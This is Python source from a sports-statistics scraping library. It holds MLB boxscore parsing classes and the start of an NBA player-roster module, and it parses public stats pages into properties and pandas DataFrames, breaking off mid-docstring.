self._away_grounded_balls = None self._away_fly_balls = None self._away_line_drives = None self._away_unknown_bat_type = None self._away_game_score = None self._away_inherited_runners = None self._away_inherited_score = None self._away_win_probability_by_pitcher = None self._away_base_out_runs_saved = None self._home_at_bats = None self._home_runs = None self._home_hits = None self._home_rbi = None self._home_earned_runs = None self._home_bases_on_balls = None self._home_strikeouts = None self._home_plate_appearances = None self._home_batting_average = None self._home_on_base_percentage = None self._home_slugging_percentage = None self._home_on_base_plus = None self._home_pitches = None self._home_strikes = None self._home_win_probability_for_offensive_player = None self._home_average_leverage_index = None self._home_win_probability_added = None self._home_win_probability_subtracted = None self._home_base_out_runs_added = None self._home_putouts = None self._home_assists = None self._home_innings_pitched = None self._home_home_runs = None self._home_strikes_by_contact = None self._home_strikes_swinging = None self._home_strikes_looking = None self._home_grounded_balls = None self._home_fly_balls = None self._home_line_drives = None self._home_unknown_bat_type = None self._home_game_score = None self._home_inherited_runners = None self._home_inherited_score = None self._home_win_probability_by_pitcher = None self._home_base_out_runs_saved = None self._parse_game_data(uri) def _retrieve_html_page(self, uri): """ Download the requested HTML page. Given a relative link, download the requested page and strip it of all comment tags before returning a pyquery object which will be used to parse the data. Parameters ---------- uri : string The relative link to the boxscore HTML page, such as 'BOS/BOS201806070'. Returns ------- PyQuery object The requested page is returned as a queriable PyQuery object with the comment tags removed. """ url = BOXSCORE_URL % uri try: url_data = pq(url) except HTTPError: return None return pq(utils._remove_html_comment_tags(url_data)) def _parse_game_date_and_location(self, boxscore): """ Retrieve the game's date and location. The game's meta information, such as date, location, attendance, and duration, follow a complex parsing scheme that changes based on the layout of the page. The information should be able to be parsed and set regardless of the order and how much information is included. To do this, the meta information should be iterated through line-by-line and fields should be determined by the values that are found in each line. Parameters ---------- boxscore : PyQuery object A PyQuery object containing all of the HTML data from the boxscore. """ scheme = BOXSCORE_SCHEME["game_info"] items = [i.text() for i in boxscore(scheme).items()] game_info = items[0].split('\n') attendance = None date = None duration = None time = None time_of_day = None venue = None if len(game_info) > 0: date = game_info[0] for line in game_info: if 'Start Time: ' in line: time = line.replace('Start Time: ', '') if 'Attendance: ' in line: attendance = line.replace('Attendance: ', '').replace(',', '') if 'Venue: ' in line: venue = line.replace('Venue: ', '') if 'Game Duration: ' in line: duration = line.replace('Game Duration: ', '') if 'Night Game' in line or 'Day Game' in line: time_of_day = line setattr(self, '_attendance', attendance) setattr(self, '_date', date) setattr(self, '_duration', duration) setattr(self, '_time', time) setattr(self, '_time_of_day', time_of_day) setattr(self, '_venue', venue) def _parse_name(self, field, boxscore): """ Retrieve the team's complete name tag. Both the team's full name (embedded in the tag's text) and the team's abbreviation are stored in the name tag which can be used to parse the winning and losing team's information. Parameters ---------- field : string The name of the attribute to parse boxscore : PyQuery object A PyQuery object containing all of the HTML data from the boxscore. Returns ------- PyQuery object The complete text for the requested tag. """ scheme = BOXSCORE_SCHEME[field] return boxscore(scheme) def _parse_game_data(self, uri): """ Parses a value for every attribute. This function looks through every attribute and retrieves the value according to the parsing scheme and index of the attribute from the passed HTML data. Once the value is retrieved, the attribute's value is updated with the returned result. Note that this method is called directly once Boxscore is invoked and does not need to be called manually. Parameters ---------- uri : string The relative link to the boxscore HTML page, such as 'BOS/BOS201806070'. """ boxscore = self._retrieve_html_page(uri) # If the boxscore is None, the game likely hasn't been played yet and # no information can be gathered. As there is nothing to grab, the # class instance should just be empty. if not boxscore: return for field in self.__dict__: # Remove the '_' from the name short_field = str(field)[1:] if short_field == 'winner' or \ short_field == 'winning_name' or \ short_field == 'winning_abbr' or \ short_field == 'losing_name' or \ short_field == 'losing_abbr' or \ short_field == 'uri' or \ short_field == 'date' or \ short_field == 'time' or \ short_field == 'venue' or \ short_field == 'attendance' or \ short_field == 'time_of_day' or \ short_field == 'duration': continue if short_field == 'away_name' or \ short_field == 'home_name': value = self._parse_name(short_field, boxscore) setattr(self, field, value) continue index = 0 if short_field in BOXSCORE_ELEMENT_INDEX.keys(): index = BOXSCORE_ELEMENT_INDEX[short_field] value = utils._parse_field(BOXSCORE_SCHEME, boxscore, short_field, index) setattr(self, field, value) self._parse_game_date_and_location(boxscore) @property def dataframe(self): """ Returns a pandas DataFrame containing all other class properties and values. The index for the DataFrame is the string URI that is used to instantiate the class, such as 'BOS201806070'. """ if self._away_runs is None and self._home_runs is None: return None fields_to_include = { 'date': self.date, 'time': self.time, 'venue': self.venue, 'attendance': self.attendance, 'duration': self.duration, 'time_of_day': self.time_of_day, 'winner': self.winner, 'winning_name': self.winning_name, 'winning_abbr': self.winning_abbr, 'losing_name': self.losing_name, 'losing_abbr': self.losing_abbr, 'away_at_bats': self.away_at_bats, 'away_runs': self.away_runs, 'away_hits': self.away_hits, 'away_rbi': self.away_rbi, 'away_earned_runs': self.away_earned_runs, 'away_bases_on_balls': self.away_bases_on_balls, 'away_strikeouts': self.away_strikeouts, 'away_plate_appearances': self.away_plate_appearances, 'away_batting_average': self.away_batting_average, 'away_on_base_percentage': self.away_on_base_percentage, 'away_slugging_percentage': self.away_slugging_percentage, 'away_on_base_plus': self.away_on_base_plus, 'away_pitches': self.away_pitches, 'away_strikes': self.away_strikes, 'away_win_probability_for_offensive_player': self.away_win_probability_for_offensive_player, 'away_average_leverage_index': self.away_average_leverage_index, 'away_win_probability_added': self.away_win_probability_added, 'away_win_probability_subtracted': self.away_win_probability_subtracted, 'away_base_out_runs_added': self.away_base_out_runs_added, 'away_putouts': self.away_putouts, 'away_assists': self.away_assists, 'away_innings_pitched': self.away_innings_pitched, 'away_home_runs': self.away_home_runs, 'away_strikes_by_contact': self.away_strikes_by_contact, 'away_strikes_swinging': self.away_strikes_swinging, 'away_strikes_looking': self.away_strikes_looking, 'away_grounded_balls': self.away_grounded_balls, 'away_fly_balls': self.away_fly_balls, 'away_line_drives': self.away_line_drives, 'away_unknown_bat_type': self.away_unknown_bat_type, 'away_game_score': self.away_game_score, 'away_inherited_runners': self.away_inherited_runners, 'away_inherited_score': self.away_inherited_score, 'away_win_probability_by_pitcher': self.away_win_probability_by_pitcher, 'away_base_out_runs_saved': self.away_base_out_runs_saved, 'home_at_bats': self.home_at_bats, 'home_runs': self.home_runs, 'home_hits': self.home_hits, 'home_rbi': self.home_rbi, 'home_earned_runs': self.home_earned_runs, 'home_bases_on_balls': self.home_bases_on_balls, 'home_strikeouts': self.home_strikeouts, 'home_plate_appearances': self.home_plate_appearances, 'home_batting_average': self.home_batting_average, 'home_on_base_percentage': self.home_on_base_percentage, 'home_slugging_percentage': self.home_slugging_percentage, 'home_on_base_plus': self.home_on_base_plus, 'home_pitches': self.home_pitches, 'home_strikes': self.home_strikes, 'home_win_probability_for_offensive_player': self.home_win_probability_for_offensive_player, 'home_average_leverage_index': self.home_average_leverage_index, 'home_win_probability_added': self.home_win_probability_added, 'home_win_probability_subtracted': self.home_win_probability_subtracted, 'home_base_out_runs_added': self.home_base_out_runs_added, 'home_putouts': self.home_putouts, 'home_assists': self.home_assists, 'home_innings_pitched': self.home_innings_pitched, 'home_home_runs': self.home_home_runs, 'home_strikes_by_contact': self.home_strikes_by_contact, 'home_strikes_swinging': self.home_strikes_swinging, 'home_strikes_looking': self.home_strikes_looking, 'home_grounded_balls': self.home_grounded_balls, 'home_fly_balls': self.home_fly_balls, 'home_line_drives': self.home_line_drives, 'home_unknown_bat_type': self.home_unknown_bat_type, 'home_game_score': self.home_game_score, 'home_inherited_runners': self.home_inherited_runners, 'home_inherited_score': self.home_inherited_score, 'home_win_probability_by_pitcher': self.home_win_probability_by_pitcher, 'home_base_out_runs_saved': self.home_base_out_runs_saved } return pd.DataFrame([fields_to_include], index=[self._uri]) @property def date(self): """ Returns a ``string`` of the date the game took place. """ return self._date @property def time(self): """ Returns a ``string`` of the time the game started. """ return self._time @property def venue(self): """ Returns a ``string`` of the name of the ballpark where the game was played. """ return self._venue @int_property_decorator def attendance(self): """ Returns an ``int`` of the game's listed attendance. """ return self._attendance @property def duration(self): """ Returns a ``string`` of the game's duration in the format 'H:MM'. """ return self._duration @property def time_of_day(self): """ Returns a ``string`` constant indicated whether the game was played during the day or at night. """ if 'night' in self._time_of_day.lower(): return NIGHT return DAY @property def winner(self): """ Returns a ``string`` constant indicating whether the home or away team won. """ if self.home_runs > self.away_runs: return HOME return AWAY @property def winning_name(self): """ Returns a ``string`` of the winning team's name, such as 'Houston Astros'. """ if self.winner == HOME: return self._home_name.text() return self._away_name.text() @property def winning_abbr(self): """ Returns a ``string`` of the winning team's abbreviation, such as 'HOU' for the Houston Astros. """ if self.winner == HOME: return utils._parse_abbreviation(self._home_name) return utils._parse_abbreviation(self._away_name) @property def losing_name(self): """ Returns a ``string`` of the losing team's name, such as '<NAME> Dodgers'. """ if self.winner == HOME: return self._away_name.text() return self._home_name.text() @property def losing_abbr(self): """ Returns a ``string`` of the losing team's abbreviation, such as 'LAD' for the Los Angeles Dodgers. """ if self.winner == HOME: return utils._parse_abbreviation(self._away_name) return utils._parse_abbreviation(self._home_name) @int_property_decorator def away_at_bats(self): """ Returns an ``int`` of the number of at bats the away team had. """ return self._away_at_bats @int_property_decorator def away_runs(self): """ Returns an ``int`` of the number of runs the away team scored. """ return self._away_runs @int_property_decorator def away_hits(self): """ Returns an ``int`` of the number of hits the away team had. """ return self._away_hits @int_property_decorator def away_rbi(self): """ Returns an ``int`` of the number of runs batted in the away team registered. """ return self._away_rbi @float_property_decorator def away_earned_runs(self): """ Returns a ``float`` of the number of runs the away team earned. """ return self._away_earned_runs @int_property_decorator def away_bases_on_balls(self): """ Returns an ``int`` of the number of bases the away team registerd as a result of balls. """ return self._away_bases_on_balls @int_property_decorator def away_strikeouts(self): """ Returns an ``int`` of the number of times the away team was struck out. """ return self._away_strikeouts @int_property_decorator def away_plate_appearances(self): """ Returns an ``int`` of the number of plate appearances the away team made. """ return self._away_plate_appearances @float_property_decorator def away_batting_average(self): """ Returns a ``float`` of the batting average for the away team. """ return self._away_batting_average @float_property_decorator def away_on_base_percentage(self): """ Returns a ``float`` of the percentage of at bats that result in the batter getting on base. """ return self._away_on_base_percentage @float_property_decorator def away_slugging_percentage(self): """ Returns a ``float`` of the slugging percentage for the away team based on the number of bases gained per at-bat with bigger plays getting more weight. """ return self._away_slugging_percentage @float_property_decorator def away_on_base_plus(self): """ Returns a ``float`` of the on base percentage plus the slugging percentage. Percentage ranges from 0-1. """ return self._away_on_base_plus @int_property_decorator def away_pitches(self): """ Returns an ``int`` of the number of pitches the away team faced. """ return self._away_pitches @int_property_decorator def away_strikes(self): """ Returns an ``int`` of the number of times a strike was called against the away team. """ return self._away_strikes @float_property_decorator def away_win_probability_for_offensive_player(self): """ Returns a ``float`` of the overall influence the away team's offense had on the outcome of the game where 0.0 denotes no influence and 1.0 denotes the offense was solely responsible for the outcome. """ return self._away_win_probability_for_offensive_player @float_property_decorator def away_average_leverage_index(self): """ Returns a ``float`` of the amount of pressure the away team's pitcher faced during the game. 1.0 denotes average pressure while numbers less than 0 denote lighter pressure. """ return self._away_average_leverage_index @float_property_decorator def away_win_probability_added(self): """ Returns a ``float`` of the total positive influence the away team's offense had on the outcome of the game. """ return self._away_win_probability_added @float_property_decorator def away_win_probability_subtracted(self): """ Returns a ``float`` of the total negative influence the away team's offense had on the outcome of the game. """ return self._away_win_probability_subtracted @float_property_decorator def away_base_out_runs_added(self): """ Returns a ``float`` of the number of base out runs added by the away team. """ return self._away_base_out_runs_added @int_property_decorator def away_putouts(self): """ Returns an ``int`` of the number of putouts the away team registered. """ return self._away_putouts @int_property_decorator def away_assists(self): """ Returns an ``int`` of the number of assists the away team registered. """ return self._away_assists @float_property_decorator def away_innings_pitched(self): """ Returns a ``float`` of the number of innings the away team pitched. """ return self._away_innings_pitched @int_property_decorator def away_home_runs(self): """ Returns an ``int`` of the number of times the away team gave up a home run. """ return self._away_home_runs @int_property_decorator def away_strikes_by_contact(self): """ Returns an ``int`` of the number of times the away team struck out a batter who made contact with the pitch. """ return self._away_strikes_by_contact @int_property_decorator def away_strikes_swinging(self): """ Returns an ``int`` of the number of times the away team struck out a batter who was swinging. """ return self._away_strikes_swinging @int_property_decorator def away_strikes_looking(self): """ Returns an ``int`` of the number of times the away team struck out a batter who was looking. """ return self._away_strikes_looking @int_property_decorator def away_grounded_balls(self): """ Returns an ``int`` of the number of grounded balls the away team allowed. """ return self._away_grounded_balls @int_property_decorator def away_fly_balls(self): """ Returns an ``int`` of the number of fly balls the away team allowed. """ return self._away_fly_balls @int_property_decorator def away_line_drives(self): """ Returns an ``int`` of the number of line drives the away team allowed. """ return self._away_line_drives @int_property_decorator def away_unknown_bat_type(self): """ Returns an ``int`` of the number of away at bats that were not properly tracked and therefore cannot be safely placed in another statistical category. """ return self._away_unknown_bat_type @int_property_decorator def away_game_score(self): """ Returns an ``int`` of the starting away pitcher's score determine by many factors, such as number of runs scored against, number of strikes, etc. """ return self._away_game_score @int_property_decorator def away_inherited_runners(self): """ Returns an ``int`` of the number of runners a pitcher inherited when he entered the game. """ return self._away_inherited_runners @int_property_decorator def away_inherited_score(self): """ Returns an ``int`` of the number of scorers a pitcher inherited when he entered the game. """ return self._away_inherited_score @float_property_decorator def away_win_probability_by_pitcher(self): """ Returns a ``float`` of the amount of influence the away pitcher had on the game's result with 0.0 denoting zero influence and 1.0 denoting he was solely responsible for the team's win. """ return self._away_win_probability_by_pitcher @float_property_decorator def away_base_out_runs_saved(self): """ Returns a ``float`` of the number of runs saved by the away pitcher based on the number of players on bases. 0.0 denotes an average value. """ return self._away_base_out_runs_saved @int_property_decorator def home_at_bats(self): """ Returns an ``int`` of the number of at bats the home team had. """ return self._home_at_bats @int_property_decorator def home_runs(self): """ Returns an ``int`` of the number of runs the home team scored. """ return self._home_runs @int_property_decorator def home_hits(self): """ Returns an ``int`` of the number of hits the home team had. """ return self._home_hits @int_property_decorator def home_rbi(self): """ Returns an ``int`` of the number of runs batted in the home team registered. """ return self._home_rbi @float_property_decorator def home_earned_runs(self): """ Returns a ``float`` of the number of runs the home team earned. """ return self._home_earned_runs @int_property_decorator def home_bases_on_balls(self): """ Returns an ``int`` of the number of bases the home team registerd as a result of balls. """ return self._home_bases_on_balls @int_property_decorator def home_strikeouts(self): """ Returns an ``int`` of the number of times the home team was struck out. """ return self._home_strikeouts @int_property_decorator def home_plate_appearances(self): """ Returns an ``int`` of the number of plate appearances the home team made. """ return self._home_plate_appearances @float_property_decorator def home_batting_average(self): """ Returns a ``float`` of the batting average for the home team. """ return self._home_batting_average @float_property_decorator def home_on_base_percentage(self): """ Returns a ``float`` of the percentage of at bats that result in the batter getting on base. """ return self._home_on_base_percentage @float_property_decorator def home_slugging_percentage(self): """ Returns a ``float`` of the slugging percentage for the home team based on the number of bases gained per at-bat with bigger plays getting more weight. """ return self._home_slugging_percentage @float_property_decorator def home_on_base_plus(self): """ Returns a ``float`` of the on base percentage plus the slugging percentage. Percentage ranges from 0-1. """ return self._home_on_base_plus @int_property_decorator def home_pitches(self): """ Returns an ``int`` of the number of pitches the home team faced. """ return self._home_pitches @int_property_decorator def home_strikes(self): """ Returns an ``int`` of the number of times a strike was called against the home team. """ return self._home_strikes @float_property_decorator def home_win_probability_for_offensive_player(self): """ Returns a ``float`` of the overall influence the home team's offense had on the outcome of the game where 0.0 denotes no influence and 1.0 denotes the offense was solely responsible for the outcome. """ return self._home_win_probability_for_offensive_player @float_property_decorator def home_average_leverage_index(self): """ Returns a ``float`` of the amount of pressure the home team's pitcher faced during the game. 1.0 denotes average pressure while numbers less than 0 denote lighter pressure. """ return self._home_average_leverage_index @float_property_decorator def home_win_probability_added(self): """ Returns a ``float`` of the total positive influence the home team's offense had on the outcome of the game. """ return self._home_win_probability_added @float_property_decorator def home_win_probability_subtracted(self): """ Returns a ``float`` of the total negative influence the home team's offense had on the outcome of the game. """ return self._home_win_probability_subtracted @float_property_decorator def home_base_out_runs_added(self): """ Returns a ``float`` of the number of base out runs added by the home team. """ return self._home_base_out_runs_added @int_property_decorator def home_putouts(self): """ Returns an ``int`` of the number of putouts the home team registered. """ return self._home_putouts @int_property_decorator def home_assists(self): """ Returns an ``int`` of the number of assists the home team registered. """ return self._home_assists @float_property_decorator def home_innings_pitched(self): """ Returns a ``float`` of the number of innings the home team pitched. """ return self._home_innings_pitched @int_property_decorator def home_home_runs(self): """ Returns an ``int`` of the number of times the home team gave up a home run. """ return self._home_home_runs @int_property_decorator def home_strikes_by_contact(self): """ Returns an ``int`` of the number of times the home team struck out a batter who made contact with the pitch. """ return self._home_strikes_by_contact @int_property_decorator def home_strikes_swinging(self): """ Returns an ``int`` of the number of times the home team struck out a batter who was swinging. """ return self._home_strikes_swinging @int_property_decorator def home_strikes_looking(self): """ Returns an ``int`` of the number of times the home team struck out a batter who was looking. """ return self._home_strikes_looking @int_property_decorator def home_grounded_balls(self): """ Returns an ``int`` of the number of grounded balls the home team allowed. """ return self._home_grounded_balls @int_property_decorator def home_fly_balls(self): """ Returns an ``int`` of the number of fly balls the home team allowed. """ return self._home_fly_balls @int_property_decorator def home_line_drives(self): """ Returns an ``int`` of the number of line drives the home team allowed. """ return self._home_line_drives @int_property_decorator def home_unknown_bat_type(self): """ Returns an ``int`` of the number of home at bats that were not properly tracked and therefore cannot be safely placed in another statistical category. """ return self._home_unknown_bat_type @int_property_decorator def home_game_score(self): """ Returns an ``int`` of the starting home pitcher's score determine by many factors, such as number of runs scored against, number of strikes, etc. """ return self._home_game_score @int_property_decorator def home_inherited_runners(self): """ Returns an ``int`` of the number of runners a pitcher inherited when he entered the game. """ return self._home_inherited_runners @int_property_decorator def home_inherited_score(self): """ Returns an ``int`` of the number of scorers a pitcher inherited when he entered the game. """ return self._home_inherited_score @float_property_decorator def home_win_probability_by_pitcher(self): """ Returns a ``float`` of the amount of influence the home pitcher had on the game's result with 0.0 denoting zero influence and 1.0 denoting he was solely responsible for the team's win. """ return self._home_win_probability_by_pitcher @float_property_decorator def home_base_out_runs_saved(self): """ Returns a ``float`` of the number of runs saved by the home pitcher based on the number of players on bases. 0.0 denotes an average value. """ return self._home_base_out_runs_saved class Boxscores: """ Search for MLB games taking place on a particular day. Retrieve a dictionary which contains a list of all games being played on a particular day. Output includes a link to the boxscore, and the names and abbreviations for both the home teams. If no games are played on a particular day, the list will be empty. Parameters ---------- date : datetime object The date to search for any matches. The month, day, and year are required for the search, but time is not factored into the search. end_date : datetime object (optional) Optionally specify an end date to iterate until. All boxscores starting from the date specified in the 'date' parameter up to and including the boxscores specified in the 'end_date' parameter will be pulled. If left empty, or if 'end_date' is prior to 'date', only the games from the day specified in the 'date' parameter will be saved. """ def __init__(self, date, end_date=None): self._boxscores = {} self._find_games(date, end_date) @property def games(self): """ Returns a ``dictionary`` object representing all of the games played on the requested day. Dictionary is in the following format:: { 'date': [ # 'date' is the string date in format 'MM-DD-YYYY' { 'home_name': Name of the home team, such as 'New York Yankees' (`str`), 'home_abbr': Abbreviation for the home team, such as 'NYY' (`str`), 'away_name': Name of the away team, such as 'Houston Astros' (`str`), 'away_abbr': Abbreviation for the away team, such as 'HOU' (`str`), 'boxscore': String representing the boxscore URI, such as 'SLN/SLN201807280' (`str`), 'winning_name': Full name of the winning team, such as 'New York Yankees' (`str`), 'winning_abbr': Abbreviation for the winning team, such as 'NYY' (`str`), 'losing_name': Full name of the losing team, such as '<NAME>' (`str`), 'losing_abbr': Abbreviation for the losing team, such as 'HOU' (`str`), 'home_score': Integer score for the home team (`int`), 'away_score': Integer score for the away team (`int`) }, { ... }, ... ] } If no games were played on 'date', the list for ['date'] will be empty. """ return self._boxscores def _create_url(self, date): """ Build the URL based on the passed datetime object. In order to get the proper boxscore page, the URL needs to include the requested month, day, and year. Parameters ---------- date : datetime object The date to search for any matches. The month, day, and year are required for the search, but time is not factored into the search. Returns ------- string Returns a ``string`` of the boxscore URL including the requested date. """ return BOXSCORES_URL % (date.year, date.month, date.day) def _get_requested_page(self, url): """ Get the requested page. Download the requested page given the created URL and return a PyQuery object. Parameters ---------- url : string The URL containing the boxscores to find. Returns ------- PyQuery object A PyQuery object containing the HTML contents of the requested page. """ return pq(url) def _get_boxscore_uri(self, url): """ Find the boxscore URI. Given the boxscore tag for a game, parse the embedded URI for the boxscore. Parameters ---------- url : PyQuery object A PyQuery object containing the game's boxscore tag which has the boxscore URI embedded within it. Returns ------- string Returns a ``string`` containing the link to the game's boxscore page. """ uri = re.sub(r'.*/boxes/', '', str(url)) uri = re.sub(r'\.shtml.*', '', uri).strip() return uri def _parse_abbreviation(self, abbr): """ Parse a team's abbreviation. Given the team's HTML name tag, parse their abbreviation. Parameters ---------- abbr : string A string of a team's HTML name tag. Returns ------- string Returns a ``string`` of the team's abbreviation. """ abbr = re.sub(r'.*/teams/', '', str(abbr)) abbr = re.sub(r'/.*', '', abbr) return abbr def _get_name(self, name): """ Find a team's name and abbreviation. Given the team's HTML name tag, determine their name, and abbreviation. Parameters ---------- name : PyQuery object A PyQuery object of a team's HTML name tag in the boxscore. Returns ------- tuple Returns a tuple containing the name and abbreviation for a team. Tuple is in the following order: Team Name, Team Abbreviation. """ team_name = name.text() abbr = self._parse_abbreviation(name) return team_name, abbr def _get_score(self, score_link): """ Find a team's final score. Given an HTML string of a team's boxscore, extract the integer representing the final score and return the number. Parameters ---------- score_link : string An HTML string representing a team's final score in the format '<td class="right">NN</td>' where 'NN' is the team's score. Returns ------- int Returns an int representing the team's final score in runs. """ score = score_link.replace('<td class="right">', '') score = score.replace('</td>', '') return int(score) def _get_team_details(self, game): """ Find the names and abbreviations for both teams in a game. Using the HTML contents in a boxscore, find the name and abbreviation for both teams. Parameters ---------- game : PyQuery object A PyQuery object of a single boxscore containing information about both teams. Returns ------- tuple Returns a tuple containing the names and abbreviations of both teams in the following order: Away Name, Away Abbreviation, Away Score, Home Name, Home Abbreviation, Home Score. """ links = [i for i in game('td a').items()] # The away team is the first link in the boxscore away = links[0] # The home team is the last (3rd) link in the boxscore home = links[-1] scores = re.findall(r'<td class="right">\d+</td>', str(game)) away_score = self._get_score(scores[0]) home_score = self._get_score(scores[1]) away_name, away_abbr = self._get_name(away) home_name, home_abbr = self._get_name(home) return (away_name, away_abbr, away_score, home_name, home_abbr, home_score) def _get_team_results(self, team_result_html): """ Extract the winning or losing team's name and abbreviation. Depending on which team's data field is passed (either the winner or loser), return the name and abbreviation of that team to denote which team won and which lost the game. Parameters ---------- team_result_html : PyQuery object A PyQuery object representing either the winning or losing team's data field within the boxscore. Returns ------- tuple Returns a tuple of the team's name followed by the abbreviation. """ link = [i for i in team_result_html('td a').items()] # If there are no links, the boxscore is likely misformed and can't be # parsed. In this case, the boxscore should be skipped. if len(link) < 1: return None name, abbreviation = self._get_name(link[0]) return name, abbreviation def _extract_game_info(self, games): """ Parse game information from all boxscores. Find the major game information for all boxscores listed on a particular boxscores webpage and return the results in a list. Parameters ---------- games : generator A generator where each element points to a boxscore on the parsed boxscores webpage. Returns ------- list Returns a ``list`` of dictionaries where each dictionary contains the name and abbreviations for both the home and away teams, and a link to the game's boxscore. """ all_boxscores = [] for game in games: details = self._get_team_details(game) away_name, away_abbr, away_score, home_name, home_abbr, \ home_score = details boxscore_url = game('td[class="right gamelink"] a') boxscore_uri = self._get_boxscore_uri(boxscore_url) winner = self._get_team_results(game('tr[class="winner"]')) # Occurs when information couldn't be parsed from the boxscore and # the game should be skipped to avoid conflicts populating the # game information. if not winner: continue winning_name, winning_abbreviation = winner loser = self._get_team_results(game('tr[class="loser"]')) # Occurs when information couldn't be parsed from the boxscore and # the game should be skipped to avoid conflicts populating the # game information. if not loser: continue losing_name, losing_abbreviation = loser game_info = { 'boxscore': boxscore_uri, 'away_name': away_name, 'away_abbr': away_abbr, 'away_score': away_score, 'home_name': home_name, 'home_abbr': home_abbr, 'home_score': home_score, 'winning_name': winning_name, 'winning_abbr': winning_abbreviation, 'losing_name': losing_name, 'losing_abbr': losing_abbreviation } all_boxscores.append(game_info) return all_boxscores def _find_games(self, date, end_date): """ Retrieve all major games played on a given day. Builds a URL based on the requested date and downloads the HTML contents before parsing any and all games played during that day. Any games that are found are added to the boxscores dictionary with high-level game information such as the home and away team names and a link to the boxscore page. Parameters ---------- date : datetime object The date to search for any matches. The month, day, and year are required for the search, but time is not factored into the search. end_date : datetime object (optional) Optionally specify an end date to iterate until. All boxscores starting from the date specified in the 'date' parameter up to and including the boxscores specified in the 'end_date' parameter will be pulled. If left empty, or if 'end_date' is prior to 'date', only the games from the day specified in the 'date' parameter will be saved. """ # Set the end date to the start date if the end date is before the # start date. if not end_date or date > end_date: end_date = date date_step = date while date_step <= end_date: url = self._create_url(date_step) page = self._get_requested_page(url) games = page('table[class="teams"]').items() boxscores = self._extract_game_info(games) timestamp = '%s-%s-%s' % (date_step.month, date_step.day, date_step.year) self._boxscores[timestamp] = boxscores date_step += timedelta(days=1) ``` #### File: sportsreference/nba/roster.py ```python import pandas as pd import re from datetime import datetime from functools import wraps from lxml.etree import ParserError, XMLSyntaxError from pyquery import PyQuery as pq from .. import utils from .constants import NATIONALITY, PLAYER_SCHEME, PLAYER_URL, ROSTER_URL from six.moves.urllib.error import HTTPError def _cleanup(prop): try: prop = prop.replace('%', '') prop = prop.replace('$', '') prop = prop.replace(',', '') return prop.replace('+', '') # Occurs when a value is of Nonetype. When that happens, return a blank # string as whatever have come in had an incomplete value. except AttributeError: return '' def _int_property_decorator(func): @property @wraps(func) def wrapper(*args): index = args[0]._index prop = func(*args) value = _cleanup(prop[index]) try: return int(value) except ValueError: # If there is no value, default to None return None return wrapper def _int_property_decorator_default_zero(func): @property @wraps(func) def wrapper(*args): index = args[0]._index prop = func(*args) value = _cleanup(prop[index]) try: return int(value) except ValueError: # If there is no value, default to 0 return 0 return wrapper def _float_property_decorator(func): @property @wraps(func) def wrapper(*args): index = args[0]._index prop = func(*args) value = _cleanup(prop[index]) try: return float(value) except ValueError: # If there is no value, default to None return None return wrapper def _most_recent_decorator(func): @property @wraps(func) def wrapper(*args): season = args[0]._most_recent_season seasons = args[0]._season index = seasons.index(season) prop = func(*args) return prop[index] return wrapper class Player(object): """ Get player information and stats for all seasons. Given a player ID, such as 'hardeja01' for <NAME>, capture all relevant stats and information like name, nationality, height/weight, career three-pointers, last season's offensive rebounds, salary, contract amount, and much more. By default, the class instance will return the player's career stats, but single-season stats can be found by calling the instance with the requested season as denoted on basketball-reference.com. Parameters ---------- player_id : string A player's ID according to basketball-reference.com, such as 'hardeja01' for <NAME>. The player ID can be found by navigating to the player's stats page and getting the string between the final slash and the '.html' in the URL. In general, the ID is in the format 'LLLLLFFNN' where 'LLLLL' are the first 5 letters in the player's last name, 'FF', are the first 2 letters in the player's first name, and 'NN' is a number starting at '01' for the first time that player ID has been used and increments by 1 for every successive player. """ def __init__(self, player_id): self._most_recent_season = '' self._index = None self._player_id = player_id self._season = None self._name = None self._team_abbreviation = None self._position = None self._height = None self._weight = None self._birth_date = None self._nationality = None self._games_played = None self._games_started = None self._minutes_played = None self._field_goals = None self._field_goal_attempts = None self._field_goal_percentage = None self._three_pointers = None self._three_point_attempts = None self._three_point_percentage = None self._two_pointers = None self._two_point_attempts = None self._two_point_percentage = None self._effective_field_goal_percentage = None self._free_throws = None self._free_throw_attempts = None self._free_throw_percentage = None self._offensive_rebounds = None self._defensive_rebounds = None self._total_rebounds = None self._assists = None self._steals = None self._blocks = None self._turnovers = None self._personal_fouls = None self._points = None self._player_efficiency_rating = None self._true_shooting_percentage = None self._three_point_attempt_rate = None self._free_throw_attempt_rate = None self._offensive_rebound_percentage = None self._defensive_rebound_percentage = None self._total_rebound_percentage = None self._assist_percentage = None self._steal_percentage = None self._block_percentage = None self._turnover_percentage = None self._usage_percentage = None self._offensive_win_shares = None self._defensive_win_shares = None self._win_shares = None self._win_shares_per_48_minutes = None self._offensive_box_plus_minus = None self._defensive_box_plus_minus = None self._box_plus_minus = None self._value_over_replacement_player = None self._shooting_distance = None self._percentage_shots_two_pointers = None self._percentage_zero_to_three_footers = None self._percentage_three_to_ten_footers = None self._percentage_ten_to_sixteen_footers = None self._percentage_sixteen_foot_plus_two_pointers = None self._percentage_shots_three_pointers = None self._field_goal_perc_zero_to_three_feet = None self._field_goal_perc_three_to_ten_feet = None self._field_goal_perc_ten_to_sixteen_feet = None self._field_goal_perc_sixteen_foot_plus_two_pointers = None self._two_pointers_assisted_percentage = None self._percentage_field_goals_as_dunks = None self._dunks = None self._three_pointers_assisted_percentage = None self._percentage_of_three_pointers_from_corner = None self._three_point_shot_percentage_from_corner = None self._half_court_heaves = None self._half_court_heaves_made = None self._point_guard_percentage = None self._shooting_guard_percentage = None self._small_forward_percentage = None self._power_forward_percentage = None self._center_percentage = None self._on_court_plus_minus = None self._net_plus_minus = None self._passing_turnovers = None self._lost_ball_turnovers = None self._other_turnovers = None self._shooting_fouls = None self._blocking_fouls = None self._offensive_fouls = None self._take_fouls = None self._points_generated_by_assists = None self._shooting_fouls_drawn = None self._and_ones = None self._shots_blocked = None self._salary = None self._contract = None self._parse_player_data() self._find_initial_index() def _build_url(self): """ Create the player's URL to pull stats from. The player's URL requires the first letter of the player's last name followed by the player ID. Returns ------- string The string URL for the player's stats page. """ # The first letter of the player's last name is used to sort the player # list and is a part of the URL. first_character = self._player_id[0] return PLAYER_URL % (first_character, self._player_id) def _retrieve_html_page(self): """ Download the requested player's stats page. Download the requested page and strip all of the comment tags before returning a pyquery object which will be used to parse the data. Returns ------- PyQuery object The requested page is returned as a queriable PyQuery object with the comment tags removed. """ url = self._build_url() try: url_data = pq(url) except HTTPError: return None return pq(utils._remove_html_comment_tags(url_data)) def _parse_season(self, row): """ Parse the season string from the table. The season is generally located in the first column of the stats tables and should be parsed to denote which season metrics are being pulled from. Parameters ---------- row : PyQuery object A PyQuery object of a single row in a stats table. Returns 